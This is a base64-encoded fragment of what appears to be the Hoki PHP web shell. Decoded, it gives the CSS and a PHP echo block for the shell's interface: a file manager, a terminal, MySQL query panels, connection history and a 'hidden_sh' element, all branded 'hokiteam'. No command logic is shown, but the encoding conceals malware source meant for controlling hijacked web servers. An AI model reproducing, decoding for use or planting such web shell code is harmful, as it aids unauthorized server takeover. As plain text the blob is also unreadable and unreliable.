HQ6Y2FsYygxMDB2aCAtIDEwMHB4KX0jb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfaG9sZGVyIC5oZWFkZXJ7bWluLWhlaWdodDo1MHZofSNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRl
ciAub3B0aW9uc19ob2xkZXIub3B0aW9uX2lzX2FjdGl2ZXtkaXNwbGF5OmJsb2NrfSNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWJ7cGFkZGluZzo1cHg7bWFyZ2luLWxlZnQ6MTRweDttYXJnaW4tcml
naHQ6MzBweDtiYWNrZ3JvdW5kOiMwMDA7Ym9yZGVyLWJvdHRvbTo3cHggc29saWQgIzBmMzA0YTtib3JkZXItbGVmdDo3cHggc29saWQgIzBmMzA0YTtib3JkZXItcmlnaHQ6N3B4IHNvbGlkICMwZjMwNGE7b3ZlcmZsb3cteDphdXRvO3doaXRlLX
NwYWNlOm5vd3JhcH0jZmlsZXNtYW5fdGFicyAuZmlsZXNtYW5fdGFiIGltZywjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIC50YWJfbmFtZSBpbWcsLmVkaXRvci10YWItbmFtZSBpbWcsLnNxbC10Y
WJzIC5zcWwtdGFibmFtZSBpbWcsLnRlcm1pbmFsLXRhYnMgLnRlcm1pbmFsLXRhYiBpbWd7d2lkdGg6MTBweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7bWFyZ2luLWxlZnQ6NXB4fSNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWIsI29wdGlvbnNf
d2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiAudGFiX25hbWUsLmVkaXRvci10YWItbmFtZSwuc3FsLXRhYnMgLnNxbC1uZXd0YWIsLnNxbC10YWJzIC5zcWwtdGFibmFtZSwudGVybWluYWwtdGFicyAudGVybWluYWw
tdGFie2Rpc3BsYXk6aW5saW5lLWJsb2NrO2JhY2tncm91bmQtY29sb3I6IzEzM2Q1MTtib3JkZXItcmFkaXVzOjRweDtwYWRkaW5nOjVweDtjb2xvcjojZmZmO21hcmdpbi1yaWdodDozcHg7cGFkZGluZzo1cHg7Y3Vyc29yOnBvaW50ZXI7bWFyZ2
luLWJvdHRvbToxcHg7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kLWNvbG9yIC41c30jZmlsZXNtYW5fdGFicyAuZmlsZXNtYW5fdGFie21pbi13aWR0aDo1NXB4O3RleHQtYWxpZ246Y2VudGVyfSNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWI6aG92Z
XIsI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiAudGFiX25hbWU6aG92ZXIsLmVkaXRvci10YWItbmFtZTpob3Zlciwuc3FsLXRhYnMgLnNxbC10YWJuYW1lOmhvdmVyLC50ZXJtaW5hbC10YWJzIC50
ZXJtaW5hbC10YWI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojYTIzOTM5fS5lZGl0b3ItdGFicywuc3FsLXRhYnMsLnRlcm1pbmFsLXRhYnN7cGFkZGluZzo1cHg7b3ZlcmZsb3cteDphdXRvO3doaXRlLXNwYWNlOm5vd3JhcH0ub3B0aW9ucy1sb2F
kZXItaG9sZGVye3Bvc2l0aW9uOmFic29sdXRlO3RvcDowO2xlZnQ6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO2JhY2tncm91bmQ6IzJiMjYyNmM3O3otaW5kZXg6MTF9Lm9wdGlvbnMtbG9hZGVyLWhvbGRlciBpbWd7cG9zaXRpb246YWJzb2x1dG
U7dG9wOjMyJTtsZWZ0OjQ1JTt0cmFuc2Zvcm06dHJhbnNsYXRlKC01MCUsLTUwJSk7d2lkdGg6MTAwcHg7YW5pbWF0aW9uOnNwaW4gMnMgaW5maW5pdGV9I2ZpbGVzbWFuX3RhYnMgLmZpbGVzbWFuX3RhYi5maWxlc21hbi10YWItYWN0aXZlLCNvc
HRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgLnRhYl9uYW1lLnRhYl9pc19hY3RpdmUsLmVkaXRvci10YWItbmFtZS5lZGl0b3ItdGFiLWFjdGl2ZSwuc3FsLXRhYm5hbWUuc3FsLWFjdGl2ZS10YWIsLnRl
cm1pbmFsLXRhYi5hY3RpdmUtdGVybWluYWwtdGFie2JhY2tncm91bmQtY29sb3I6IzAwOTY4OH0udGFiLWlzLWRvbmV7YW5pbWF0aW9uOjJzIHRhYl9jaGFuZ2VfY29sb3IgaW5maW5pdGUgc3RlcC1lbmR9LnN0b3BBamF4e2NvbG9yOiNmZmY7Zm9
udC1zaXplOjIwcHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7cGFkZGluZzoxMHB4O2N1cnNvcjpwb2ludGVyfSNhX2xvYWRlcntkaXNwbGF5Om5vbmU7cG9zaXRpb246Zml4ZWQ7dG9wOjA7bGVmdDowO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7YmFja2
dyb3VuZDojMmIyNjI2Yzc7ei1pbmRleDo5OX0uZm1hbmFnZXItcm93PnRke3Bvc2l0aW9uOnJlbGF0aXZlfS5mbWFuYWdlci1yb3cgLnN5bWxpbmtfcGF0aHtwb3NpdGlvbjpmaXhlZDttYXgtd2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiMwZ
jMwNGE7Ym9yZGVyLXJhZGl1czoxMHB4O2ZvbnQtc2l6ZToxNXB4O3BhZGRpbmc6OHB4O2NvbG9yOiNmZGY0ZjQ7Ym9yZGVyOjFweCBzb2xpZCAjOGE4YThhO3otaW5kZXg6MTtwb2ludGVyLWV2ZW50czpub25lfS5hcmNoaXZlLWljb25ze3ZlcnRp
Y2FsLWFsaWduOm1pZGRsZX0uYXJjaGl2ZS10eXBlLWRpcntmb250LXdlaWdodDpib2xkZXJ9LmFyY2hpdmUtdHlwZS1maWxle2ZvbnQtd2VpZ2h0OnVuc2V0fS5hcmNoaXZlLW5hbWV7Y3Vyc29yOnBvaW50ZXJ9LmFyY2hpdmVfZGlyX2hvbGRlciB
he2NvbG9yOiMwZjA7Zm9udC13ZWlnaHQ6Ym9sZGVyO2N1cnNvcjpwb2ludGVyfS5hcmNoaXZlX2Rpcl9ob2xkZXIgYTpob3Zlcntjb2xvcjojZmZmfS5lZGl0b3ItY29udGVudHtoZWlnaHQ6MTAwJX0uZWRpdG9yLWNvbnRlbnQtaG9sZGVye2hlaW
dodDo5MCV9LmVkaXRvci1jb250ZW50c3tkaXNwbGF5Om5vbmU7cG9zaXRpb246cmVsYXRpdmU7aGVpZ2h0OjEwMCV9LmVkaXRvci1jb250ZW50cy5lZGl0b3ItY29udGVudC1hY3RpdmV7ZGlzcGxheTpibG9ja30uaGlzdG9yeS1wYW5lbC1jb250c
m9sbGVye3Bvc2l0aW9uOmFic29sdXRlO2NvbG9yOiNmZmY7cGFkZGluZzoxMHB4O3otaW5kZXg6MTAwMDtib3JkZXItcmFkaXVzOjEwcHg7dG9wOjUwJTtsZWZ0OjE5JTtiYWNrZ3JvdW5kLWNvbG9yOiMwMDk2ODc7Y3Vyc29yOnBvaW50ZXJ9LnNx
bC1jb250ZW50e2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpyZWxhdGl2ZTttaW4taGVpZ2h0OjMwMHB4fS5zcWwtY29udGVudC5zcWwtYWN0aXZlLWNvbnRlbnR7ZGlzcGxheTpibG9ja30ucGFnZXMtaG9sZGVye3BhZGRpbmc6N3B4fS5wYWdlcy1udW1
iZXJ7ZGlzcGxheTppbmxpbmUtYmxvY2s7bWFyZ2luLWxlZnQ6MTBweH0ucGFnZXMtaG9sZGVyIC5wYWdlcy1udW1iZXIgYS5wYWdlLW51bWJlcntwYWRkaW5nOjVweDtiYWNrZ3JvdW5kOiMwZjMwNGE7bWFyZ2luLXJpZ2h0OjhweDtjdXJzb3I6cG
9pbnRlcjt3aWR0aDozM3B4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO3RleHQtYWxpZ246Y2VudGVyO2JvcmRlci1yYWRpdXM6NXB4O2NvbG9yOiNmZmY7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kIC41c30uYWN0aXZlLXBhZ2UtbnVtYmVye2JhY2tncm91b
mQ6IzEwOTI1YyFpbXBvcnRhbnR9LnBhZ2VzLW51bWJlciBhLnBhZ2UtbnVtYmVyOmhvdmVye2JhY2tncm91bmQ6IzhhOGE4YX0udGVybWluYWwtY29udGVudHtoZWlnaHQ6MTAwJX0udGVybWluYWwtY29udGVudCwudGVybWluYWwtdGFie2Rpc3Bs
YXk6bm9uZX0udGVybWluYWwtY29udGVudC5hY3RpdmUtdGVybWluYWwtY29udGVudHtkaXNwbGF5OmJsb2NrO3Bvc2l0aW9uOnJlbGF0aXZlfS50ZXJtaW5hbC1idG4tZm9udGN0bHtiYWNrZ3JvdW5kOiMwMDk2ODg7d2lkdGg6NTBweDtjb2xvcjo
jZmZmO2ZvbnQtd2VpZ2h0OmJvbGRlcjtvdXRsaW5lOjA7Y3Vyc29yOnBvaW50ZXJ9LmFsZXJ0LWFyZWF7bWF4LWhlaWdodDoxMDAlO3Bvc2l0aW9uOmZpeGVkO2JvdHRvbTo1cHg7bGVmdDoyMHB4O3JpZ2h0OjIwcHg7ei1pbmRleDo5OTk5fS5hbG
VydC1ib3h7Zm9udC1zaXplOjE2cHg7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kOnJnYmEoMCwwLDAsLjkpO2xpbmUtaGVpZ2h0OjEuM2VtO3BhZGRpbmc6MTBweCAxNXB4O21hcmdpbjo1cHggMTBweDtwb3NpdGlvbjpyZWxhdGl2ZTtib3JkZXItcmFka
XVzOjVweDt0cmFuc2l0aW9uOm9wYWNpdHkgLjVzIGVhc2UtaW47LXdlYmtpdC1hbmltYXRpb246YWxlcnQtc2hha2UgLjVzIGVhc2UtaW4tb3V0O2FuaW1hdGlvbjphbGVydC1zaGFrZSAuNXMgZWFzZS1pbi1vdXR9LmFsZXJ0LWNvbnRlbnQtdGl0
bGV7Zm9udC13ZWlnaHQ6NzAwfS5hbGVydC1ib3guYWxlcnQtc3VjY2Vzc3tiYWNrZ3JvdW5kOnJnYmEoNTYsMTI3LDU2LC44OSl9LmFsZXJ0LWVycm9ye2JhY2tncm91bmQ6cmdiYSgxOTEsNTQsNTQsLjg5KX0uYWxlcnQtYm94LmhpZGV7b3BhY2l
0eTowfS5hbGVydC1jbG9zZXtiYWNrZ3JvdW5kOjAgMDt3aWR0aDoxMnB4O2hlaWdodDoxMnB4O3Bvc2l0aW9uOmFic29sdXRlO3RvcDoxNXB4O3JpZ2h0OjE1cHh9LmFsZXJ0LWNsb3NlOmFmdGVyLC5hbGVydC1jbG9zZTpiZWZvcmV7Y29udGVudD
oiIjt3aWR0aDoxNXB4O2JvcmRlci10b3A6c29saWQgMnB4ICNmZmY7cG9zaXRpb246YWJzb2x1dGU7dG9wOjVweDtyaWdodDotMXB4O2Rpc3BsYXk6YmxvY2t9LmFsZXJ0LWNsb3NlOmJlZm9yZXt0cmFuc2Zvcm06cm90YXRlKDQ1ZGVnKX0uYWxlc
nQtY2xvc2U6YWZ0ZXJ7dHJhbnNmb3JtOnJvdGF0ZSgxMzVkZWcpfS5hbGVydC1jbG9zZTpob3ZlcjphZnRlciwuYWxlcnQtY2xvc2U6aG92ZXI6YmVmb3Jle2JvcmRlci10b3A6c29saWQgMnB4ICNkOGQ4ZDh9QG1lZGlhIChtYXgtd2lkdGg6NzY3
cHgpIGFuZCAobWluLXdpZHRoOjQ4MXB4KXsuYWxlcnQtYXJlYXtsZWZ0OjEwMHB4O3JpZ2h0OjEwMHB4fX1AbWVkaWEgKG1pbi13aWR0aDo3NjhweCl7LmFsZXJ0LWFyZWF7d2lkdGg6MzUwcHg7bGVmdDphdXRvO3JpZ2h0OjA7ei1pbmRleDo5OTk
5fX1Aa2V5ZnJhbWVzIHRhYl9jaGFuZ2VfY29sb3J7MCV7YmFja2dyb3VuZC1jb2xvcjojMTMzZDUxfTUwJXtiYWNrZ3JvdW5kLWNvbG9yOmdyZWVufX1ALXdlYmtpdC1rZXlmcmFtZXMgYWxlcnQtc2hha2V7MCV7LXdlYmtpdC10cmFuc2Zvcm06dH
JhbnNsYXRlWCgwKX0yMCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTBweCl9NDAley13ZWJraXQtdHJhbnNmb3JtOnRyYW5zbGF0ZVgoMTBweCl9NjAley13ZWJraXQtdHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTEwcHgpfTgwJXstd2Via
2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVYKDEwcHgpfTEwMCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgwKX19QGtleWZyYW1lcyBhbGVydC1zaGFrZXswJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgwKX0yMCV7dHJhbnNmb3JtOnRyYW5zbGF0
ZVgoLTEwcHgpfTQwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgxMHB4KX02MCV7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTEwcHgpfTgwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgxMHB4KX0xMDAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKDApfX0udGV4dEV
mZmVjdHtwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDo1MDBweDt0b3A6LTEwcHg7YW5pbWF0aW9uOmFsZXJ0LXNoYWtlIC41cyBlYXNlLWluLW91dDthbmltYXRpb24taXRlcmF0aW9uLWNvdW50OjJ9Lmhva2l0ZWFtLWxvYWRlci10ZXh0e3Bvc2l0aW
9uOmFic29sdXRlO2NvbG9yOiM0NmJiNDU7dG9wOjIzJTtsZWZ0OjQ5JTt0cmFuc2Zvcm06dHJhbnNsYXRlKC01MCUsLTUwJSk7Zm9udC1zaXplOjQwcHg7bGV0dGVyLXNwYWNpbmc6N3B4fS5ob2tpLWFqYXgtZXJyb3J7cG9zaXRpb246YWJzb2x1d
GU7Y29sb3I6I2ZmMGEwYTt0b3A6NTAlO2xlZnQ6NTAlO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTtmb250LXNpemU6MzBweH0uY29ubmVjdGlvbi1oaXN0LXRhYmxle21hcmdpbi1sZWZ0OmF1dG87bWFyZ2luLXJpZ2h0OmF1dG87dGV4
dC1hbGlnbjpqdXN0aWZ5O2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZX0uY29ubmVjdGlvbi1oaXN0LXRhYmxlIHRkLC5jb25uZWN0aW9uLWhpc3QtdGFibGUgdGh7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO3RleHQtYWxpZ246bGVmdDtwYWRkaW5nOjh
weH0uY29ubmVjdGlvbi1oaXMtYnRue21hcmdpbi1ib3R0b206MTBweDtwYWRkaW5nOjVweDtiYWNrZ3JvdW5kOiMyMDY5MjA7Y29sb3I6I2ZmZjtib3JkZXI6bm9uZTtvdXRsaW5lOjA7Y3Vyc29yOnBvaW50ZXI7Zm9udC13ZWlnaHQ6NzAwO3RyYW
5zaXRpb246YmFja2dyb3VuZCAuM3N9LmNvbm5lY3Rpb24taGlzLWJ0bi5jb25uZWN0aW9uLWRlbGV0ZXttYXJnaW46dW5zZXQ7cGFkZGluZzo1cHg7YmFja2dyb3VuZDpyZWQ7d2lkdGg6MzNweDtib3JkZXItcmFkaXVzOjNweDt0cmFuc2l0aW9uO
mJhY2tncm91bmQgLjNzfS5jb25uZWN0aW9uLWRlbGV0ZTpob3ZlcntiYWNrZ3JvdW5kOiNmNTY5NjkhaW1wb3J0YW50fS5jb25uZWN0aW9uLWhpcy1idG46aG92ZXJ7YmFja2dyb3VuZDojMzBiMzMwfSN1cF9iYXJfaG9sZGVye3Bvc2l0aW9uOmZp
eGVkO3otaW5kZXg6MTAwMDAwO3dpZHRoOjEwMCV9I2ZpbGVzbWFuX3RhYnN7cGFkZGluZzo4cHg7Ym9yZGVyOjFweCBzb2xpZCAjMGUzMDRhO2NvbG9yOiM2N2FiZGY7b3ZlcmZsb3cteDphdXRvO3doaXRlLXNwYWNlOm5vd3JhcH0uc29ydGFibGU
tZ2hvc3R7b3BhY2l0eTouNTtiYWNrZ3JvdW5kOiNjOGViZmJ9LmZvbGRlci10YWItaWNvbnt3aWR0aDoxNnB4IWltcG9ydGFudH0jZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aHtkaXNwbGF5Om5vbmU7cG9zaXRpb246YWJzb2x1dGU7cG9pbnRlci1ldm
VudHM6bm9uZTtiYWNrZ3JvdW5kOiMxNjM3NDY7cGFkZGluZzo3cHg7Y29sb3I6IzBmMDtib3JkZXItcmFkaXVzOjEwcHg7bWluLXdpZHRoOjU4cHg7ei1pbmRleDoxMH0jZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aDo6YWZ0ZXJ7Y29udGVudDoiIjtwb
3NpdGlvbjphYnNvbHV0ZTt0b3A6MTAwJTtsZWZ0OjM1cHg7bWFyZ2luLWxlZnQ6LTVweDtib3JkZXItd2lkdGg6NXB4O2JvcmRlci1zdHlsZTpzb2xpZDtwb2ludGVyLWV2ZW50czpub25lO2JvcmRlci1jb2xvcjojMTYzNzQ2IHRyYW5zcGFyZW50
IHRyYW5zcGFyZW50IHRyYW5zcGFyZW50fS5teXNxbC1tYWlue2hlaWdodDo4NHZoO3Bvc2l0aW9uOnJlbGF0aXZlfS5teXNxbC1oaWRlLWNvbnRlbnR7ZGlzcGxheTpub25lfS5teXNxbC1xdWVyeS1yZXN1bHQtdGFic3ttYXJnaW4tYm90dG9tOjE
wcHg7cGFkZGluZzozcHg7Ym9yZGVyLWJvdHRvbTo0cHggc29saWQgIzBmMzA0YX0ubXlzcWwtbWFpbiAudGFibGVzLXBhbmVsLWN0bHtwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjojZmZmO3BhZGRpbmc6MTBweDt6LWluZGV4OjE7Ym9yZGVyLXJhZG
l1czoxMHB4O3RvcDo0NSU7bGVmdDpjYWxjKDE3JSArIDEwcHgpO2JhY2tncm91bmQtY29sb3I6IzAwOTY4NztjdXJzb3I6cG9pbnRlcn0udGFibGVzLXBhbmVsLWN0bC1taW57bGVmdDotMjFweCFpbXBvcnRhbnR9Lm15c3FsLXF1ZXJ5LXJlc3Vsd
C10YWJzIGRpdntkaXNwbGF5OmlubGluZS1ibG9jaztwYWRkaW5nOjVweDttYXJnaW4tcmlnaHQ6MnB4O2JhY2tncm91bmQ6IzEzM2Q1MTtjb2xvcjojZmZmO2N1cnNvcjpwb2ludGVyO3RyYW5zaXRpb246YmFja2dyb3VuZC1jb2xvciAuNXN9Lm15
c3FsLXF1ZXJ5LXJlc3VsdC10YWJzIGRpdjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNhMjM5Mzl9Lm15c3FsLXF1ZXJ5LXJlc3VsdC10YWJzIGRpdi5teXNxbC1xdWVyeS1zZWxlY3RlZC10YWJ7YmFja2dyb3VuZDpyZWR9dGFibGUgdHIudGJsX3J
vdzpudGgtY2hpbGQob2RkKXtiYWNrZ3JvdW5kOiM0MjQwNDB9Lm15c3FsLXRhYmxlcyAudGFibGVzLXJvd3ttYXJnaW4tbGVmdDoyNnB4fS5teXNxbC1tYWluIC5teXNxbC1xdWVyeS1yZXN1bHRzLC5teXNxbC1tYWluIC5teXNxbC10YWJsZXN7Zm
xvYXQ6bGVmdDtoZWlnaHQ6MTAwJTtvdmVyZmxvdzphdXRvfS5teXNxbC1tYWluIC5teXNxbC1xdWVyeS1yZXN1bHRze3dpZHRoOmNhbGMoODAlICsgNHB4KTttYXJnaW4tbGVmdDo1cHg7cG9zaXRpb246cmVsYXRpdmU7b3ZlcmZsb3c6dW5zZXR9L
m15c3FsLW1haW4gLm15c3FsLXF1ZXJ5LXJlc3VsdHMtZml4ZWR7d2lkdGg6MTAwJX0ubXlzcWwtbWFpbiAubXlzcWwtcXVlcnktcmVzdWx0cyAubXlzcWwtcXVlcnktY29udGVudHtoZWlnaHQ6ODklO292ZXJmbG93OmF1dG99Lm15c3FsLXF1ZXJ5
LXRhYi1oaWRle2hlaWdodDowIWltcG9ydGFudDtwYWRkaW5nOjAhaW1wb3J0YW50fS5teXNxbC1tYWluIC5teXNxbC10YWJsZXN7d2lkdGg6MTklO2JvcmRlci1yaWdodDo0cHggc29saWQgIzBlMzA0YX0ubXlzcWwtbWFpbiB0YWJsZSB0ZHt2ZXJ
0aWNhbC1hbGlnbjp0b3B9Lm15c3FsLW1haW4gLm15c3FsLXNlYXJjaC1hcmVhIHRhYmxlIHRke3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtwYWRkaW5nOjdweH0ubXlzcWwtdGFibGVzIC5ibG9ja3twb3NpdGlvbjpyZWxhdGl2ZTt3aWR0aDoxLjVlbT
toZWlnaHQ6MS41ZW07bWluLXdpZHRoOjE2cHg7bWluLWhlaWdodDoxNnB4O2Zsb2F0OmxlZnR9Lm15c3FsLXRhYmxlcyBkaXYuYmxvY2sgYiwubXlzcWwtdGFibGVzIGRpdi5ibG9jayBpe3dpZHRoOjEuNWVtO2hlaWdodDoxLjdlbTttaW4td2lkd
Gg6MTZweDttaW4taGVpZ2h0OjhweDtwb3NpdGlvbjphYnNvbHV0ZTtib3R0b206LjdlbTtsZWZ0Oi43NWVtO3otaW5kZXg6MH0ubXlzcWwtdGFibGVzIC5ibG9jayBpe2Rpc3BsYXk6YmxvY2s7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM2NjY7Ym9y
ZGVyLWJvdHRvbToxcHggc29saWQgIzY2Njtwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4OjB9Lm15c3FsLXRhYmxlcyAuYmxvY2sgYntkaXNwbGF5OmJsb2NrO2hlaWdodDouNzVlbTtib3R0b206MDtsZWZ0Oi43NWVtO2JvcmRlci1sZWZ0OjFweCB
zb2xpZCAjNjY2fS5teXNxbC10YWJsZXMgZGl2LmJsb2NrIGEsLm15c3FsLXRhYmxlcyBkaXYuYmxvY2sgdXtwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjUwJTt0b3A6NTAlO3otaW5kZXg6MTB9Lm15c3FsLXRhYmxlcyBkaXYuYmxvY2sgaW1ne3Bvc2
l0aW9uOnJlbGF0aXZlO3RvcDotLjZlbTtsZWZ0OjA7bWFyZ2luLWxlZnQ6LTdweH0ubXlzcWwtdGFibGVzIC5jbGVhcmZsb2F0e2NsZWFyOmJvdGh9Lm15c3FsLXRhYmxlcyB1bHtsaXN0LXN0eWxlLXR5cGU6bm9uZTttYXJnaW4tbGVmdDowO3BhZ
GRpbmc6MH0ubXlzcWwtdGFibGVzIHVsIGxpe3doaXRlLXNwYWNlOm5vd3JhcDtjbGVhcjpib3RoO21pbi1oZWlnaHQ6MTZweH0ubXlzcWwtdGFibGVzIC5kYl9uYW1le21hcmdpbi1sZWZ0OjEwcHh9Lm15c3FsLXRhYmxlcyAubGlzdF9jb250YWlu
ZXJ7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM2NjY7bWFyZ2luLWxlZnQ6Ljc1ZW07cGFkZGluZy1sZWZ0Oi43NWVtfS5oaWRlLWRiLXRhYmxlc3tkaXNwbGF5Om5vbmV9Lm15c3FsLW1haW46YWZ0ZXJ7Y29udGVudDoiIjtkaXNwbGF5OnRhYmxlO2N
sZWFyOmJvdGh9dGFibGUubXlzcWwtZGF0YS10Ymx7Ym9yZGVyOm5vbmUhaW1wb3J0YW50O2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZSFpbXBvcnRhbnR9dGFibGUubXlzcWwtZGF0YS10YmwgdHIgdGh7cGFkZGluZzo1cHh9dGFibGUubXlzcWwtZG
F0YS10YmwgdGR7Ym9yZGVyLWxlZnQ6M3B4IHNvbGlkICMzMDVhOGQ7Ym9yZGVyLXJpZ2h0OjNweCBzb2xpZCAjMzA1YThkO3BhZGRpbmc6NnB4fXRhYmxlLm15c3FsLWRhdGEtdGJsIHRkOmZpcnN0LWNoaWxke2JvcmRlci1sZWZ0Om5vbmV9dGFib
GUubXlzcWwtZGF0YS10YmwgdGQ6bGFzdC1jaGlsZHtib3JkZXItcmlnaHQ6bm9uZX0ubXlzcWwtaW5zZXJ0LXJlc3VsdCwubXlzcWwtc3RydWN0dXJlLXFyZXMsLm15c3FsLXVwZGF0ZS1yZXN1bHR7ZGlzcGxheTpub25lO3RleHQtYWxpZ246Y2Vu
dGVyO3BhZGRpbmc6MTBweDtib3JkZXI6MXB4IGRhc2hlZDttYXJnaW46MjJweH0jaG9raS1jb3B5cmlnaHR7bWFyZ2luLXRvcDoxNXB4fS5pY19iX3BsdXN7YmFja2dyb3VuZC1pbWFnZTp1cmwoaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9
tZW51L2JfcGx1cy5wbmcpfS5pY19iX21pbnVze2JhY2tncm91bmQtaW1hZ2U6dXJsKGh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9iX21pbnVzLnBuZyl9Cjw/cGhwIGVjaG8gJwpAa2V5ZnJhbWVzIHNwaW4ge2Zyb20ge3RyYW5zZm
9ybTogcm90YXRlKDBkZWcpO310b3t0cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO319CkAtd2Via2l0LWtleWZyYW1lcyBzcGluIHtmcm9tIHstd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO310byB7LXdlYmtpdC10cmFuc2Zvcm06IHJvd
GF0ZSgzNjBkZWcpO319CkAtbW96LWtleWZyYW1lcyBzcGluIHtmcm9tIHstbW96LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO310byB7LW1vei10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO319CkAtbXMta2V5ZnJhbWVzIHNwaW4ge2Zyb20gey1t
cy10cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTt9dG8gey1tcy10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO319CiNob2tpbG9hZGVyeycuJGNzc2NvZGUuJ3dpZHRoOjEwMHB4O2hlaWdodDoxMDBweDt9CiNhX2xvYWRlciBpbWd7Jy4kY3NzY29kZS4
nd2lkdGg6MTUwcHg7aGVpZ2h0OjE1MHB4O3Bvc2l0aW9uOmZpeGVkO3otaW5kZXg6OTk5OTk5O3RvcDogMzElO2xlZnQ6IDQ1JTt9Ci5hamF4YXJlYXtkaXNwbGF5Om5vbmU7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2NvbG9yOiM2N0FCREZ9Ln
VwX2JhcnttYXJnaW4tYm90dG9tOiAycHg7dHJhbnNpdGlvbjp3aWR0aCAycztiYWNrZ3JvdW5kLWNvbG9yOnJlZDt3aWR0aDowO2hlaWdodDo4cHg7ZGlzcGxheTpub25lO30jaGlkZGVuX3Noe2JhY2tncm91bmQtY29sb3I6IzBFMzA0QTt0ZXh0L
WFsaWduOmNlbnRlcjtwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDowO2xlZnQ6OTAlO2JvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6MmVtfS5hbGVydF9ncmVlbntjb2xvcjojMEYwO2ZvbnQtZmFtaWx5OiJDb21pYyBTYW5zIE1TIjtmb250LXNpemU6
c21hbGw7dGV4dC1kZWNvcmF0aW9uOm5vbmV9Lndob2xle2JhY2tncm91bmQtY29sb3I6IzAwMDtiYWNrZ3JvdW5kLWltYWdlOnVybChodHRwczovL2kuZ2lmZXIuY29tLzF2NmYuZ2lmKTtiYWNrZ3JvdW5kLXBvc2l0aW9uOmNlbnRlcjtiYWNrZ3J
vdW5kLWF0dGFjaG1lbnQ6Zml4ZWQ7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0fS5oZWFkZXJ7aGVpZ2h0OmF1dG87d2lkdGg6YXV0bztib3JkZXI6N3B4IHNvbGlkICMwRTMwNEE7Y29sb3I6Jy5ob2tpX2dldENvbG9yKCJoZWFkZXJfdmFsdW
VzIikuJztmb250LXNpemU6MTJweDtmb250LWZhbWlseTpWZXJkYW5hLEdlbmV2YSxzYW5zLXNlcmlmfS5oZWFkZXIgYXt0ZXh0LWRlY29yYXRpb246bm9uZTt9LmZpbGVzdG9vbHMgYXtjb2xvcjojMEYwO3RleHQtZGVjb3JhdGlvbjpub25lfS5ma
Wxlc3Rvb2xzIGE6aG92ZXJ7Y29sb3I6I0ZGRjt0ZXh0LWRlY29yYXRpb246bm9uZTt9c3Bhbntmb250LXdlaWdodDpib2xkZXI7Y29sb3I6I0ZGRn0udHh0Zm9udHtmb250LWZhbWlseToiQ29taWMgU2FucyBNUyI7Zm9udC1zaXplOnNtYWxsO2Nv
bG9yOiNmZmY7ZGlzcGxheTppbmxpbmUtYmxvY2t9LnR4dGZvbnRfaGVhZGVye2ZvbnQtZmFtaWx5OiJDb21pYyBTYW5zIE1TIjtmb250LXNpemU6bGFyZ2U7ZGlzcGxheTppbmxpbmUtYmxvY2s7Y29sb3I6IzU5Y2MzM30udGJsdHh0e2ZvbnQtZmF
